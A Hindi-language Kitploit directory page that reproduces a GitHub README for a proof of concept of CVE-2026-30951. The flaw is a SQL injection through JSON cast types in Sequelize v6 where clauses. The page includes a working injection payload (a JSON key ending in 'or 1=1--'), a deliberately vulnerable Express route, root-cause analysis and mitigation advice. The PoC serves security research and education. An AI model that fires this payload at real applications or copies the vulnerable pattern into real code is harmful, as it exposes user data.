Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-30951 — Proof-of-concept और vulnerable Node.js/Express/Sequelize ऐप जो CVE-2026-30951 को प्रदर्शित करता है, जो Sequelize v6 where clauses में एक JSON cast-type SQL injection है, जिसमें reproduction steps और mitigation guidance शामिल है। | Kitploit
उपकरण/GitHubGitHub/yym8538/cve-2026-30951
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHubyym8538/cve-2026-30951

CVE-2026-30951

Proof-of-concept और vulnerable Node.js/Express/Sequelize ऐप जो CVE-2026-30951 को प्रदर्शित करता है, जो Sequelize v6 where clauses में एक JSON cast-type SQL injection है, जिसमें reproduction steps और mitigation guidance शामिल है।

रिपॉजिटरी देखें
141 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-30951 Sequelize JSON Cast SQL इंजेक्शन

★ CVE-2026-30951 Sequelize ORM SQL इंजेक्शन PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

अवलोकन

CVE-2026-30951 एक व्यापक रूप से उपयोग किए जाने वाले Node.js ORM, Sequelize v6 में एक SQL इंजेक्शन भेद्यता है।

यह भेद्यता JSON/JSONB where क्लॉज़ प्रोसेसिंग में मौजूद है। जब Sequelize :: युक्त JSON पाथ की को पार्स करता है, तो :: के बाद का मान SQL कास्ट प्रकार के रूप में माना जाता है और उचित सत्यापन के बिना जनरेट किए गए SQL में डाल दिया जाता है।

यदि कोई हमलावर Sequelize where क्लॉज़ में पास किए गए JSON ऑब्जेक्ट कीज़ को नियंत्रित कर सकता है, तो वे जनरेट किए गए SQL क्वेरी में हेरफेर कर सकते हैं।

प्रभावित संस्करण

श्रेणीसंस्करण
भेद्यSequelize v6.x <= 6.37.7
पैच किया गयाSequelize 6.37.8
प्रभावित नहींSequelize v7 / @sequelize/core

प्रभाव

  • हमलावर-नियंत्रित JSON ऑब्जेक्ट कीज़ के माध्यम से SQL इंजेक्शन
  • बूलियन-आधारित इंजेक्शन के माध्यम से सर्च फ़िल्टर बायपास
  • ORM-जनरेट किए गए SQL के भीतर अनपेक्षित क्वेरी शर्त हेरफेर

वातावरण

इस रिपॉज़िटरी में एक न्यूनतम भेद्य Node.js, Express, Sequelize, और SQLite चैलेंज ऐप शामिल है।

स्थानीय रन

npm install
npm start

ऐप यहाँ शुरू होता है:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Docker कंटेनर यहाँ शुरू होता है:

http://127.0.0.1:9100

PoC

भेद्य वातावरण शुरू करने के बाद, इंजेक्शन को पुनरुत्पादित करने के लिए नीचे दिए गए चरणों का पालन करें।

चरण 1. एक सामान्य सर्च अनुरोध भेजें

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

यह केवल सामान्य नाम सर्च लॉजिक से मेल खाने वाले उपयोगकर्ताओं को लौटाता है।

चरण 2. बूलियन-आधारित SQL इंजेक्शन ट्रिगर करें

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

अपेक्षित परिणाम:

All user rows are returned.

चरण 3. पुष्टि करें कि SQL इंजेक्शन हुआ

तैयार की गई JSON की Sequelize को इसके समान एक कास्ट एक्सप्रेशन जनरेट करने का कारण बनाती है:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

चूंकि कास्ट प्रकार हमलावर-नियंत्रित है, OR 1=1 शर्त इच्छित WHERE क्लॉज़ व्यवहार को बदल देती है। उसी सर्च एंडपॉइंट से सभी पंक्तियाँ लौटाना पुष्टि करता है कि SQL इंजेक्शन संभव है।

विश्लेषण

तकनीकी मूल कारण

यह भेद्यता Sequelize v6 में JSON कास्ट प्रकारों के अपर्याप्त सत्यापन के कारण होती है।

आंतरिक रूप से, Sequelize का JSON ट्रैवर्सल लॉजिक JSON पाथ कीज़ को :: पर विभाजित करता है:

jsonKey::castType

कास्ट प्रकार का उपयोग तब जनरेट किए गए SQL में इस प्रकार किया जाता है:

CAST(<json_extract_expression> AS <cast_type>)

भेद्य संस्करणों में, <cast_type> को सुरक्षित रूप से एस्केप या ज्ञात-सुरक्षित allowlist तक सीमित नहीं किया जाता है। यह हमलावर-नियंत्रित JSON की को कास्ट एक्सप्रेशन से बाहर निकलने और SQL इंजेक्ट करने की अनुमति देता है।

खतरनाक पैटर्न

प्रभावित Sequelize संस्करणों का उपयोग करते समय निम्नलिखित के समान कोई भी एप्लिकेशन पैटर्न भेद्य हो सकता है:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

यह खतरनाक है क्योंकि हमलावर न केवल JSON मानों को, बल्कि JSON ऑब्जेक्ट कीज़ को भी नियंत्रित करता है।

यह क्यों मायने रखता है

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि कई डेवलपर्स मानते हैं कि ORM क्वेरी बिल्डर स्वचालित रूप से SQL इंजेक्शन से बचाते हैं। इस मामले में, इंजेक्शन ORM-जनरेट किए गए SQL के भीतर होता है, जब एप्लिकेशन पहले ही संरचित JavaScript ऑब्जेक्ट्स को Sequelize को पास कर चुका होता है।

एप्लिकेशन लॉजिक के आधार पर, शोषण निम्नलिखित की अनुमति दे सकता है:

  • इच्छित सर्च फ़िल्टर को बायपास करना
  • बूलियन क्वेरी शर्तों को बदलना
  • ORM-जनरेट किए गए SQL के व्यवहार को बदलना

यह मूल रूप से एक CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।

परिदृश्य

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

शमन

  • Sequelize को 6.37.8 या बाद के संस्करण में अपग्रेड करें
  • उपयोगकर्ता-नियंत्रित ऑब्जेक्ट्स को सीधे Sequelize JSON/JSONB where क्लॉज़ में पास न करें
  • ORM फ़िल्टर बनाने से पहले उपयोगकर्ता-नियंत्रित JSON कीज़ को अस्वीकार या सामान्यीकृत करें
  • मनमाने अनुरोध बॉडी ऑब्जेक्ट्स को स्वीकार करने के बजाय whitelist-आधारित फ़िल्टर निर्माण का उपयोग करें
  • SQL नियंत्रण सिंटैक्स या :: जैसे कास्ट सेपरेटर वाली JSON कीज़ को अस्वीकार करें, जब तक कि स्पष्ट रूप से आवश्यक न हो
  • सर्वर-परिभाषित क्वेरी फ़ील्ड को प्राथमिकता दें, उदाहरण के लिए:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

अस्वीकरण

यह रिपॉज़िटरी केवल नियंत्रित वातावरणों में सुरक्षा अनुसंधान, रक्षात्मक सत्यापन, और शैक्षिक उपयोग के लिए है।

इस PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति नहीं है।

EQST इनसाइट

हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का पालन करें।

  • https://www.skshieldus.com/security-insights/reports?tab=eqst
  • https://www.skshieldus.com/en/report?tab=eqst

संदर्भ

  • https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr
  • https://nvd.nist.gov/vuln/detail/CVE-2026-30951
  • https://osv.dev/vulnerability/CVE-2026-30951
  • https://advisories.gitlab.com/npm/sequelize/CVE-2026-30951/
  • https://github.com/sequelize/sequelize
टूल डाउनलोड करें